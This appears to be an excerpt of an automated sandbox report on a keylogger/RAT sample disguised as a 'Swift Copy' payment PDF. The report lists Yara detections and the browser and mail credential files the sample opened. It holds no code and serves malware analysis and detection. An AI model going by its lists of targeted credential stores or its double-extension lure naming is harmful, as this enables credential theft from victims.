Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.4109031767.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4109031767.0000000002E1B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674455094.00000000044D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 6716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Swift Copy TT USDUSD$23,401.PDF.exe PID: 5804, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Swift Copy TT USDUSD$23,401.PDF.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4817a88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.478fa68.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Swift Copy TT USDUSD$23,401.PDF.exe.4707a48.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.4104888758.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
